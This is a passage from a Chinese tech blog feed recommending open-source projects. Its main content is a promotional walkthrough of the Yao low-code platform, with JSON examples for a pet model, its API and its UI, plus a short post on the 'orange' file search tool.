id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>怎么样是不是很喜欢这种代码风格,上面只是节选了部分的准则,更多的可以去阅读项目源码,收获更多惊喜。如果能在项目中运用起来,可以获得团队大量关注和重视。<br><img src="https://gitee.com/sourceteam/blog-source/raw/master/images/202207/202207172207041.gif"></p><p>反过来不按这套规范来,则可以朝规范更近一步,快去尝试吧。</p><h3 id="项目地址"><a href="#项目地址" class="headerlink" title="项目地址"></a>项目地址</h3><pre><code>https://github.com/trekhleb/state-of-the-art-shitcode</code></pre>]]></content>
<tags>
<tag> 奔跑的阿白 </tag>
</tags>
</entry>
<entry>
<title>一天开发一个系统不再是梦,推荐这款前后端打通的低代码平台给你!</title>
<link href="/blog/2022/07/12/yi-tian-kai-fa-yi-ge-xi-tong-bu-zai-shi-meng-tui-jian-zhe-kuan-qian-hou-duan-da-tong-de-di-dai-ma-ping-tai-gei-ni/"/>
<url>/blog/2022/07/12/yi-tian-kai-fa-yi-ge-xi-tong-bu-zai-shi-meng-tui-jian-zhe-kuan-qian-hou-duan-da-tong-de-di-dai-ma-ping-tai-gei-ni/</url>
<content type="html"><![CDATA[<p>大叔过去几篇文章已经给大家介绍了不少的低代码平台,但今天介绍的对比以前更偏向于前端构建的项目,有很大的不同,非常值得大家去关注一下!!</p><p>这个项目名非常好记,和姚明同名:<code>Yao</code></p><h1 id="Yao介绍"><a href="#Yao介绍" class="headerlink" title="Yao介绍"></a>Yao介绍</h1><p>Yao 是一款采用 Go 语言开发的低代码引擎,其最大的特点是可以通过 JSON 的编写,即可实现 90% 的页面交互功能,特别适合开发如 CRM、ERP 等内部管理系统。</p><p>直到今日,Yao 已经在 GitHub 上积累了 <code>4.2k+Star</code>了,并且增长速度还很快。</p><h1 id="界面效果"><a href="#界面效果" class="headerlink" title="界面效果"></a>界面效果</h1><p>下面是使用 Yao 开发的界面效果,这个是暗黑风格的,还是非常时尚炫酷的!</p><p><img src="https://files.mdnice.com/user/21078/00e8a37f-2c65-4316-88fb-fca63425f975.png"></p><p><img src="https://files.mdnice.com/user/21078/35e825ce-0e37-4631-883e-ec9cadb868c8.png"></p><p>(⚠️注意这些页面全是通过 JSON 配置出来的,不需要写代码!!)</p><h1 id="功能特点"><a href="#功能特点" class="headerlink" title="功能特点"></a>功能特点</h1><ul><li>只需要使用 JSON 就能完成<strong>前端页面</strong>、<strong>数据库模型</strong>、<strong>API接口</strong>的开发,不需要写一行代码,超高生产力。</li><li>可运行在云端或物联网设备上。</li><li>采用 Go 语言开发,对比 Java、PHP、Python 等开发语言,拥有更高的性能优势。</li><li>支持多种方式扩展数据流处理器,使得 Yao 具有极好的通用性。</li><li>得益于优秀的架构设计,使得支持采用 Vue、React 等通用的前端框架进行组件扩展,满足特异化功能开发的需求。</li></ul><h1 id="JSON窥探"><a href="#JSON窥探" class="headerlink" title="JSON窥探"></a>JSON窥探</h1><p>下面将通过一个「宠物」的例子</p><h3 id="创建数据模型"><a href="#创建数据模型" class="headerlink" title="创建数据模型"></a>创建数据模型</h3><p>可以通过编写数据模型描述文件,定义数据表</p><pre class=" language-json"><code class="language-json">&amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"宠物"</span><span class="token punctuation">,</span> <span class="token property">"table"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"pet"</span><span class="token punctuation">,</span> <span class="token property">"comment"</span><span class="token operator">:</span> <span class="token string">"宠物表"</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> <span class="token property">"columns"</span><span class="token operator">:</span> <span class="token punctuation">[</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"label"</span><span class="token operator">:</span> <span class="token string">"ID"</span><span class="token punctuation">,</span> <span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"id"</span><span class="token punctuation">,</span> <span class="token property">"type"</span><span class="token operator">:</span> <span class="token string">"ID"</span><span class="token punctuation">,</span> <span class="token property">"comment"</span><span class="token operator">:</span> <span class="token string">"ID"</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"label"</span><span class="token operator">:</span> <span class="token string">"编号"</span><span class="token punctuation">,</span> <span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"sn"</span><span class="token punctuation">,</span> <span class="token property">"type"</span><span class="token operator">:</span> <span class="token string">"string"</span><span class="token punctuation">,</span> <span class="token property">"unique"</span><span class="token operator">:</span> <span class="token boolean">true</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"label"</span><span class="token operator">:</span> <span class="token string">"名称"</span><span class="token punctuation">,</span> <span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"name"</span><span class="token punctuation">,</span> <span class="token property">"type"</span><span class="token operator">:</span> <span class="token string">"string"</span><span class="token punctuation">,</span> <span class="token property">"index"</span><span class="token operator">:</span> <span class="token boolean">true</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"label"</span><span class="token operator">:</span> <span class="token string">"类型"</span><span class="token punctuation">,</span> <span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"kind"</span><span class="token punctuation">,</span> <span class="token property">"type"</span><span class="token operator">:</span> <span class="token string">"enum"</span><span class="token punctuation">,</span> <span class="token property">"option"</span><span class="token operator">:</span> <span class="token punctuation">[</span><span class="token string">"猫"</span><span class="token punctuation">,</span> <span class="token string">"狗"</span><span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token property">"default"</span><span class="token operator">:</span> <span class="token string">"猫"</span><span class="token punctuation">,</span> <span class="token property">"index"</span><span class="token operator">:</span> <span class="token boolean">true</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> <span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token property">"values"</span><span class="token operator">:</span> <span class="token punctuation">[</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"sn"</span><span class="token operator">:</span> <span class="token string">"100001"</span><span class="token punctuation">,</span> <span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"Cookie"</span><span class="token punctuation">,</span> <span class="token property">"kind"</span><span class="token operator">:</span> <span class="token string">"猫"</span><span class="token punctuation">,</span> <span class="token property">"desc"</span><span class="token operator">:</span> <span class="token string">"一只猫"</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"sn"</span><span class="token operator">:</span> <span class="token string">"100002"</span><span class="token punctuation">,</span> <span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"Beibei"</span><span class="token punctuation">,</span> <span class="token property">"kind"</span><span class="token operator">:</span> <span class="token string">"狗"</span><span class="token punctuation">,</span> <span class="token property">"desc"</span><span class="token operator">:</span> <span class="token string">"一只狗"</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> <span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token property">"option"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"timestamps"</span><span class="token operator">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span> <span class="token property">"soft_deletes"</span><span class="token operator">:</span> <span class="token boolean">true</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span>&amp;#<span class="token number">125</span><span class="token punctuation">;</span></code></pre><h3 id="编写接口"><a href="#编写接口" class="headerlink" title="编写接口"></a>编写接口</h3><p>同时我们也可以根据 JSON 编写我们的接口,比如下列定义出查询和保存的接口。</p><pre class=" language-json"><code class="language-json">&amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"宠物"</span><span class="token punctuation">,</span> <span class="token property">"version"</span><span class="token operator">:</span> <span class="token string">"1.0.0"</span><span class="token punctuation">,</span> <span class="token property">"description"</span><span class="token operator">:</span> <span class="token string">"宠物接口"</span><span class="token punctuation">,</span> <span class="token property">"guard"</span><span class="token operator">:</span> <span class="token string">"bearer-jwt"</span><span class="token punctuation">,</span> <span class="token property">"group"</span><span class="token operator">:</span> <span class="token string">"pet"</span><span class="token punctuation">,</span> <span class="token property">"paths"</span><span class="token operator">:</span> <span class="token punctuation">[</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"path"</span><span class="token operator">:</span> <span class="token string">"/search"</span><span class="token punctuation">,</span> <span class="token property">"method"</span><span class="token operator">:</span> <span class="token string">"GET"</span><span class="token punctuation">,</span> <span class="token property">"guard"</span><span class="token operator">:</span> <span class="token string">"-"</span><span class="token punctuation">,</span> <span class="token property">"process"</span><span class="token operator">:</span> <span class="token string">"models.pet.Paginate"</span><span class="token punctuation">,</span> <span class="token property">"in"</span><span class="token operator">:</span> <span class="token punctuation">[</span>"<span class="token operator">:</span>query-param<span class="token string">", "</span>$query.page<span class="token string">", "</span>$query.pagesize"<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token property">"out"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"status"</span><span class="token operator">:</span> <span class="token number">200</span><span class="token punctuation">,</span> <span class="token property">"type"</span><span class="token operator">:</span> <span class="token string">"application/json"</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"path"</span><span class="token operator">:</span> <span class="token string">"/save"</span><span class="token punctuation">,</span> <span class="token property">"method"</span><span class="token operator">:</span> <span class="token string">"POST"</span><span class="token punctuation">,</span> <span class="token property">"guard"</span><span class="token operator">:</span> <span class="token string">"-"</span><span class="token punctuation">,</span> <span class="token property">"process"</span><span class="token operator">:</span> <span class="token string">"models.pet.Save"</span><span class="token punctuation">,</span> <span class="token property">"query"</span><span class="token operator">:</span> <span class="token punctuation">[</span>"<span class="token operator">:</span>payload"<span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token property">"out"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"status"</span><span class="token operator">:</span> <span class="token number">200</span><span class="token punctuation">,</span> <span class="token property">"type"</span><span class="token operator">:</span> <span class="token string">"application/json"</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> <span class="token punctuation">]</span>&amp;#<span class="token number">125</span><span class="token punctuation">;</span></code></pre><h3 id="描述界面"><a href="#描述界面" class="headerlink" title="描述界面"></a>描述界面</h3><p>我们最后通过简单的 JSON 描述,构建出我们的宠物列表,并提供了查询功能。</p><pre class=" language-json"><code class="language-json">&amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"宠物"</span><span class="token punctuation">,</span> <span class="token property">"version"</span><span class="token operator">:</span> <span class="token string">"1.0.0"</span><span class="token punctuation">,</span> <span class="token property">"decription"</span><span class="token operator">:</span> <span class="token string">"宠物管理表格"</span><span class="token punctuation">,</span> <span class="token property">"bind"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"model"</span><span class="token operator">:</span> <span class="token string">"pet"</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> <span class="token property">"apis"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span>&amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> <span class="token property">"columns"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"ID"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"label"</span><span class="token operator">:</span> <span class="token string">"ID"</span><span class="token punctuation">,</span> <span class="token property">"view"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"type"</span><span class="token operator">:</span> <span class="token string">"label"</span><span class="token punctuation">,</span> <span class="token property">"props"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"value"</span><span class="token operator">:</span> "<span class="token operator">:</span>id" &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> <span class="token property">"编号"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"label"</span><span class="token operator">:</span> <span class="token string">"编号"</span><span class="token punctuation">,</span> <span class="token property">"view"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"type"</span><span class="token operator">:</span> <span class="token string">"label"</span><span class="token punctuation">,</span> <span class="token property">"props"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"value"</span><span class="token operator">:</span> "<span class="token operator">:</span>sn" &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> <span class="token property">"edit"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"type"</span><span class="token operator">:</span> <span class="token string">"input"</span><span class="token punctuation">,</span> <span class="token property">"props"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"value"</span><span class="token operator">:</span> "<span class="token operator">:</span>sn" &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> <span class="token property">"名称"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"label"</span><span class="token operator">:</span> <span class="token string">"名称"</span><span class="token punctuation">,</span> <span class="token property">"view"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"type"</span><span class="token operator">:</span> <span class="token string">"label"</span><span class="token punctuation">,</span> <span class="token property">"props"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"value"</span><span class="token operator">:</span> "<span class="token operator">:</span>name" &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> <span class="token property">"edit"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"type"</span><span class="token operator">:</span> <span class="token string">"input"</span><span class="token punctuation">,</span> <span class="token property">"props"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"value"</span><span class="token operator">:</span> "<span class="token operator">:</span>name" &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> <span class="token property">"类型"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"label"</span><span class="token operator">:</span> <span class="token string">"类型"</span><span class="token punctuation">,</span> <span class="token property">"view"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"type"</span><span class="token operator">:</span> <span class="token string">"label"</span><span class="token punctuation">,</span> <span class="token property">"props"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"value"</span><span class="token operator">:</span> "<span class="token operator">:</span>kind" &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> <span class="token property">"edit"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"type"</span><span class="token operator">:</span> <span class="token string">"select"</span><span class="token punctuation">,</span> <span class="token property">"props"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"value"</span><span class="token operator">:</span> "<span class="token operator">:</span>kind"<span class="token punctuation">,</span> <span class="token property">"options"</span><span class="token operator">:</span> <span class="token punctuation">[</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"label"</span><span class="token operator">:</span> <span class="token string">"猫"</span><span class="token punctuation">,</span> <span class="token property">"value"</span><span class="token operator">:</span> <span class="token string">"猫"</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"label"</span><span class="token operator">:</span> <span class="token string">"狗"</span><span class="token punctuation">,</span> <span class="token property">"value"</span><span class="token operator">:</span> <span class="token string">"狗"</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> <span class="token punctuation">]</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> <span class="token property">"介绍"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"label"</span><span class="token operator">:</span> <span class="token string">"介绍"</span><span class="token punctuation">,</span> <span class="token property">"view"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"type"</span><span class="token operator">:</span> <span class="token string">"label"</span><span class="token punctuation">,</span> <span class="token property">"props"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"value"</span><span class="token operator">:</span> "<span class="token operator">:</span>desc" &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> <span class="token property">"edit"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"type"</span><span class="token operator">:</span> <span class="token string">"textArea"</span><span class="token punctuation">,</span> <span class="token property">"props"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"value"</span><span class="token operator">:</span> "<span class="token operator">:</span>desc"<span class="token punctuation">,</span> <span class="token property">"rows"</span><span class="token operator">:</span> <span class="token number">4</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> <span class="token property">"filters"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"关键词"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"label"</span><span class="token operator">:</span> <span class="token string">"关键词"</span><span class="token punctuation">,</span> <span class="token property">"bind"</span><span class="token operator">:</span> <span class="token string">"where.name.match"</span><span class="token punctuation">,</span> <span class="token property">"input"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"type"</span><span class="token operator">:</span> <span class="token string">"input"</span><span class="token punctuation">,</span> <span class="token property">"props"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"placeholder"</span><span class="token operator">:</span> <span class="token string">"请输入关键词"</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> <span class="token property">"list"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"primary"</span><span class="token operator">:</span> <span class="token string">"id"</span><span class="token punctuation">,</span> <span class="token property">"layout"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"columns"</span><span class="token operator">:</span> <span class="token punctuation">[</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"ID"</span><span class="token punctuation">,</span> <span class="token property">"width"</span><span class="token operator">:</span> <span class="token number">80</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"编号"</span><span class="token punctuation">,</span> <span class="token property">"width"</span><span class="token operator">:</span> <span class="token number">100</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"名称"</span><span class="token punctuation">,</span> <span class="token property">"width"</span><span class="token operator">:</span> <span class="token number">200</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"类型"</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> <span class="token punctuation">]</span><span class="token punctuation">,</span> <span class="token property">"filters"</span><span class="token operator">:</span> <span class="token punctuation">[</span>&amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"关键词"</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">]</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> <span class="token property">"actions"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"pagination"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"props"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"showTotal"</span><span class="token operator">:</span> <span class="token boolean">true</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> <span class="token property">"option"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span>&amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> <span class="token property">"edit"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"primary"</span><span class="token operator">:</span> <span class="token string">"id"</span><span class="token punctuation">,</span> <span class="token property">"layout"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"fieldset"</span><span class="token operator">:</span> <span class="token punctuation">[</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"columns"</span><span class="token operator">:</span> <span class="token punctuation">[</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"编号"</span><span class="token punctuation">,</span> <span class="token property">"width"</span><span class="token operator">:</span> <span class="token number">8</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"名称"</span><span class="token punctuation">,</span> <span class="token property">"width"</span><span class="token operator">:</span> <span class="token number">8</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"类型"</span><span class="token punctuation">,</span> <span class="token property">"width"</span><span class="token operator">:</span> <span class="token number">8</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"name"</span><span class="token operator">:</span> <span class="token string">"介绍"</span><span class="token punctuation">,</span> <span class="token property">"width"</span><span class="token operator">:</span> <span class="token number">24</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> <span class="token punctuation">]</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> <span class="token punctuation">]</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> <span class="token property">"actions"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span> <span class="token property">"cancel"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span>&amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> <span class="token property">"save"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span>&amp;#<span class="token number">125</span><span class="token punctuation">;</span><span class="token punctuation">,</span> <span class="token property">"delete"</span><span class="token operator">:</span> &amp;#<span class="token number">123</span><span class="token punctuation">;</span>&amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span> &amp;#<span class="token number">125</span><span class="token punctuation">;</span>&amp;#<span class="token number">125</span><span class="token punctuation">;</span></code></pre><p>最后通过上述的 JSON 文件,就能从前端到后端一次性构建出完整可交付的页面功能,是不是很棒!!<br><img src="https://files.mdnice.com/user/21078/c2db3c1d-8976-4ac5-a898-5694accb2ad4.png"></p><h1 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h1><p>今天大叔带大家体验了一下 Yao 的魅力,它确实是一款很有特点的低代码平台,不需要一句代码,就能够大大的提高开发效率!</p><p>感兴趣的小伙伴,赶快去试试吧!!项目地址为:</p><p><a href="https://github.com/YaoApp/yao">https://github.com/YaoApp/yao</a></p>]]></content>
<tags>
<tag> 怂 </tag>
</tags>
</entry>
<entry>
<title>跨平台极速文件搜索工具,终于找到了!</title>
<link href="/blog/2022/07/10/kua-ping-tai-ji-su-wen-jian-sou-suo-gong-ju-zhong-yu-zhao-dao-liao/"/>
<url>/blog/2022/07/10/kua-ping-tai-ji-su-wen-jian-sou-suo-gong-ju-zhong-yu-zhao-dao-liao/</url>
<content type="html"><![CDATA[<p>大家好,我是可爱又机灵的开源小妹!</p><p>说到文件搜索工具,大部分人可能想到的是 everything 或者 Listary,文件搜索快如闪电几乎是秒搜。但是这两个工具目前只有 win 版本的。</p><p>最近开源小妹在逛 GitHub 的时候,发现一个类似的开源项目 - <code>orange</code>,速度几乎不相上下。而且这个项目跨平台,win/linux/mac都支持。</p><p><img src="https://files.mdnice.com/user/20902/f5ee6f6c-d665-4201-a384-86c167b75e8c.png"></p><p><img src="https://files.mdnice.com/user/20902/221a6067-228e-446f-aa16-59b31a16ed2d.gif" alt="工具界面"></p><h3 id="项目特点"><a href="#项目特点" class="headerlink" title="项目特点"></a>项目特点</h3><p><img src="https://files.mdnice.com/user/20902/b8c0acc7-84fd-4e26-a3c2-bdf22e6f435d.png"></p><h3 id="项目架构"><a href="#项目架构" class="headerlink" title="项目架构"></a>项目架构</h3><p><img src="https://files.mdnice.com/user/20902/82277942-04e4-455b-bc7e-cf315aed4427.png"></p><h3 id="下载安装"><a href="#下载安装" class="headerlink" title="下载安装"></a>下载安装</h3><p>在项目 release 页面找到对应平台的安装包下载安装即可。</p><p><img src="https://files.mdnice.com/user/20902/124a5033-1456-4ee0-94ca-1ba6d2d0a2cd.png"></p><p>最后,关于这个项目的更多详细使用功能,大家可以自己查阅下开源项目地址:</p><pre><code>https://github.com/naaive/orange</code></pre><h3 id="写在最后"><a href="#写在最后" class="headerlink" title="写在最后"></a>写在最后</h3><p>欢迎加入开源小分队读者交流群,聊天学习摸鱼为主,不定时会分享一些技术要点和优质学习资源,有一群有趣有料的小伙伴在等你哦!</p><p>进群方式:<code>开源小分队</code> 公众号后台回复<code>888</code>,按提示操作即可进群。</p><p>问君能有几多愁,开源项目解千愁,我们下期再见!</p><blockquote><p>大家的点赞、收藏和评论对小妹非常重要,如文章对你有帮助还请转发支持下,谢谢!</p></blockquote>]]></content>
<tags>
<tag> 永恒君 </tag>
</tags>
</entry>
<entry>
<title>Kindle 电子书下载工具,开源了!!</title>
<link href="/blog/2022/07/09/kindle-dian-zi-shu-xia-zai-gong-ju-kai-yuan-liao/"/>
<url>/blog/2022/07/09/kindle-dian-zi-shu-xia-zai-gong-ju-kai-yuan-liao/</url>
